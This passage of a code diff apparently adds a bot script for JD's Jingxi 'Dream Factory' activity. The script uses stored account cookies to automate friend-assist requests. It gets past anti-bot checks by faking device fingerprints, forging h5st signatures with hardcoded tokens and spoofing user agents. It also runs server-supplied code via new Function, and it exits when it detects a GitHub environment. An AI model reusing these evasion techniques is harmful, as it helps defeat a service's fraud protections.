>>> 0 < y[6] >>> 0 ? 1 : 0) | 0, this._b = b[7] >>> 0 < y[7] >>> 0 ? 1 : 0; + for (var c = 0; c < 8; c++) { + var d = a[c] + b[c], e = 65535 & d, f = d >>> 16, h = ((e * e >>> 17) + e * f >>> 15) + f * f, g = ((4294901760 & d) * d | 0) + ((65535 & d) * d | 0); + n[c] = h ^ g + } + a[0] = n[0] + (n[7] << 16 | n[7] >>> 16) + (n[6] << 16 | n[6] >>> 16) | 0, a[1] = n[1] + (n[0] << 8 | n[0] >>> 24) + n[7] | 0, a[2] = n[2] + (n[1] << 16 | n[1] >>> 16) + (n[0] << 16 | n[0] >>> 16) | 0, a[3] = n[3] + (n[2] << 8 | n[2] >>> 24) + n[1] | 0, a[4] = n[4] + (n[3] << 16 | n[3] >>> 16) + (n[2] << 16 | n[2] >>> 16) | 0, a[5] = n[5] + (n[4] << 8 | n[4] >>> 24) + n[3] | 0, a[6] = n[6] + (n[5] << 16 | n[5] >>> 16) + (n[4] << 16 | n[4] >>> 16) | 0, a[7] = n[7] + (n[6] << 8 | n[6] >>> 24) + n[5] | 0 + } + + var u = B, v = u.lib, w = v.StreamCipher, z = u.algo, x = [], y = [], n = [], F = z.Rabbit = w.extend({ + _doReset: function () { + for (var a = this._key.words, b = this.cfg.iv, c = 0; c < 4; c++) a[c] = 16711935 & (a[c] << 8 | a[c] >>> 24) | 4278255360 & (a[c] << 24 | a[c] >>> 8); + var d = this._X = [a[0], a[3] << 16 | a[2] >>> 16, a[1], a[0] << 16 | a[3] >>> 16, a[2], a[1] << 16 | a[0] >>> 16, a[3], a[2] << 16 | a[1] >>> 16], e = this._C = [a[2] << 16 | a[2] >>> 16, 4294901760 & a[0] | 65535 & a[1], a[3] << 16 | a[3] >>> 16, 4294901760 & a[1] | 65535 & a[2], a[0] << 16 | a[0] >>> 16, 4294901760 & a[2] | 65535 & a[3], a[1] << 16 | a[1] >>> 16, 4294901760 & a[3] | 65535 & a[0]]; + this._b = 0; + for (var c = 0; c < 4; c++) r.call(this); + for (var c = 0; c < 8; c++) e[c] ^= d[c + 4 & 7]; + if (b) { + var f = b.words, h = f[0], g = f[1], i = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8), k = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8), m = i >>> 16 | 4294901760 & k, p = k << 16 | 65535 & i; + e[0] ^= i, e[1] ^= m, e[2] ^= k, e[3] ^= p, e[4] ^= i, e[5] ^= m, e[6] ^= k, e[7] ^= p; + for (var c = 0; c < 4; c++) r.call(this) + } + }, _doProcessBlock: function (a, b) { + var c = this._X; + r.call(this), x[0] = c[0] ^ c[5] >>> 16 ^ c[3] << 16, x[1] = c[2] ^ c[7] >>> 16 ^ c[5] << 16, x[2] = c[4] ^ c[1] >>> 16 ^ c[7] << 16, x[3] = c[6] ^ c[3] >>> 16 ^ c[1] << 16; + for (var d = 0; d < 4; d++) x[d] = 16711935 & (x[d] << 8 | x[d] >>> 24) | 4278255360 & (x[d] << 24 | x[d] >>> 8), a[b + d] ^= x[d] + }, blockSize: 4, ivSize: 2 + }); + u.Rabbit = w._createHelper(F) + }(), B.mode.CTR = function () { + var i = B.lib.BlockCipherMode.extend(), k = i.Encryptor = i.extend({ + processBlock: function (a, b) { + var c = this._cipher, d = c.blockSize, e = this._iv, f = this._counter; + e && (f = this._counter = e.slice(0), this._iv = void 0); + var h = f.slice(0); + c.encryptBlock(h, 0), f[d - 1] = f[d - 1] + 1 | 0; + for (var g = 0; g < d; g++) a[b + g] ^= h[g] + } + }); + return i.Decryptor = k, i + }(), function () { + function r() { + for (var a = this._X, b = this._C, c = 0; c < 8; c++) y[c] = b[c]; + b[0] = b[0] + 1295307597 + this._b | 0, b[1] = b[1] + 3545052371 + (b[0] >>> 0 < y[0] >>> 0 ? 1 : 0) | 0, b[2] = b[2] + 886263092 + (b[1] >>> 0 < y[1] >>> 0 ? 1 : 0) | 0, b[3] = b[3] + 1295307597 + (b[2] >>> 0 < y[2] >>> 0 ? 1 : 0) | 0, b[4] = b[4] + 3545052371 + (b[3] >>> 0 < y[3] >>> 0 ? 1 : 0) | 0, b[5] = b[5] + 886263092 + (b[4] >>> 0 < y[4] >>> 0 ? 1 : 0) | 0, b[6] = b[6] + 1295307597 + (b[5] >>> 0 < y[5] >>> 0 ? 1 : 0) | 0, b[7] = b[7] + 3545052371 + (b[6] >>> 0 < y[6] >>> 0 ? 1 : 0) | 0, this._b = b[7] >>> 0 < y[7] >>> 0 ? 1 : 0; + for (var c = 0; c < 8; c++) { + var d = a[c] + b[c], e = 65535 & d, f = d >>> 16, h = ((e * e >>> 17) + e * f >>> 15) + f * f, g = ((4294901760 & d) * d | 0) + ((65535 & d) * d | 0); + n[c] = h ^ g + } + a[0] = n[0] + (n[7] << 16 | n[7] >>> 16) + (n[6] << 16 | n[6] >>> 16) | 0, a[1] = n[1] + (n[0] << 8 | n[0] >>> 24) + n[7] | 0, a[2] = n[2] + (n[1] << 16 | n[1] >>> 16) + (n[0] << 16 | n[0] >>> 16) | 0, a[3] = n[3] + (n[2] << 8 | n[2] >>> 24) + n[1] | 0, a[4] = n[4] + (n[3] << 16 | n[3] >>> 16) + (n[2] << 16 | n[2] >>> 16) | 0, a[5] = n[5] + (n[4] << 8 | n[4] >>> 24) + n[3] | 0, a[6] = n[6] + (n[5] << 16 | n[5] >>> 16) + (n[4] << 16 | n[4] >>> 16) | 0, a[7] = n[7] + (n[6] << 8 | n[6] >>> 24) + n[5] | 0 + } + + var u = B, v = u.lib, w = v.StreamCipher, z = u.algo, x = [], y = [], n = [], F = z.RabbitLegacy = w.extend({ + _doReset: function () { + var a = this._key.words, b = this.cfg.iv, c = this._X = [a[0], a[3] << 16 | a[2] >>> 16, a[1], a[0] << 16 | a[3] >>> 16, a[2], a[1] << 16 | a[0] >>> 16, a[3], a[2] << 16 | a[1] >>> 16], d = this._C = [a[2] << 16 | a[2] >>> 16, 4294901760 & a[0] | 65535 & a[1], a[3] << 16 | a[3] >>> 16, 4294901760 & a[1] | 65535 & a[2], a[0] << 16 | a[0] >>> 16, 4294901760 & a[2] | 65535 & a[3], a[1] << 16 | a[1] >>> 16, 4294901760 & a[3] | 65535 & a[0]]; + this._b = 0; + for (var e = 0; e < 4; e++) r.call(this); + for (var e = 0; e < 8; e++) d[e] ^= c[e + 4 & 7]; + if (b) { + var f = b.words, h = f[0], g = f[1], i = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8), k = 16711935 & (g << 8 | g >>> 24) | 4278255360 & (g << 24 | g >>> 8), m = i >>> 16 | 4294901760 & k, p = k << 16 | 65535 & i; + d[0] ^= i, d[1] ^= m, d[2] ^= k, d[3] ^= p, d[4] ^= i, d[5] ^= m, d[6] ^= k, d[7] ^= p; + for (var e = 0; e < 4; e++) r.call(this) + } + }, _doProcessBlock: function (a, b) { + var c = this._X; + r.call(this), x[0] = c[0] ^ c[5] >>> 16 ^ c[3] << 16, x[1] = c[2] ^ c[7] >>> 16 ^ c[5] << 16, x[2] = c[4] ^ c[1] >>> 16 ^ c[7] << 16, x[3] = c[6] ^ c[3] >>> 16 ^ c[1] << 16; + for (var d = 0; d < 4; d++) x[d] = 16711935 & (x[d] << 8 | x[d] >>> 24) | 4278255360 & (x[d] << 24 | x[d] >>> 8), a[b + d] ^= x[d] + }, blockSize: 4, ivSize: 2 + }); + u.RabbitLegacy = w._createHelper(F) + }(), B.pad.ZeroPadding = { + pad: function (a, b) { + var c = 4 * b; + a.clamp(), a.sigBytes += c - (a.sigBytes % c || c) + }, unpad: function (a) { + for (var b = a.words, c = a.sigBytes - 1; !(b[c >>> 2] >>> 24 - c % 4 * 8 & 255);) c--; + a.sigBytes = c + 1 + } + }, B +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = ['']; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let HELP_HW = 'true'; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + HELP_HW = process.env.HELP_HW ?? 'true'; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = $.UserName; + message = ''; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdDreamFactory() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, {url: jxOpenUrl}) + } +})() + +async function jdDreamFactory() { + try { + await userInfo(); + await QueryFriendList();//查询今日招工情况以及剩余助力次数 + await helpFriends(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + + +async function helpFriends() { + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + await $.wait(2000); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} + +function assistFriend(sharepin) { + return new Promise(async resolve => { + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const {assistListToday = [], assistNumMax, hireListToday = [], hireNumMax} = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + $.nickName = data.user.nickname || $.UserName; // 昵称或pin码 + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/jxfactory/30`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取30个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {code: 404, data: []}); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + // let HW_CODE = ['INcGtFWIUwvLFFvpQtKFCQ==', 'AZV37CNsgm_Q9Xid7tt-eA==', 'K6AGuw2dq_U2kEpg4mTmHQ==', 'c3anbYUBmLe9Qh1TIM4dEg==', 'zfzxrqaM7n3s4FhUZQmA8Q==']; + let HW_CODE = []; + $.newShareCodes = [...new Set([...$.newShareCodes, ...HW_CODE, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function requestAlgo() { + $.fingerprint = generateFp(); + return new Promise(resolve => { + $.post({ + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || 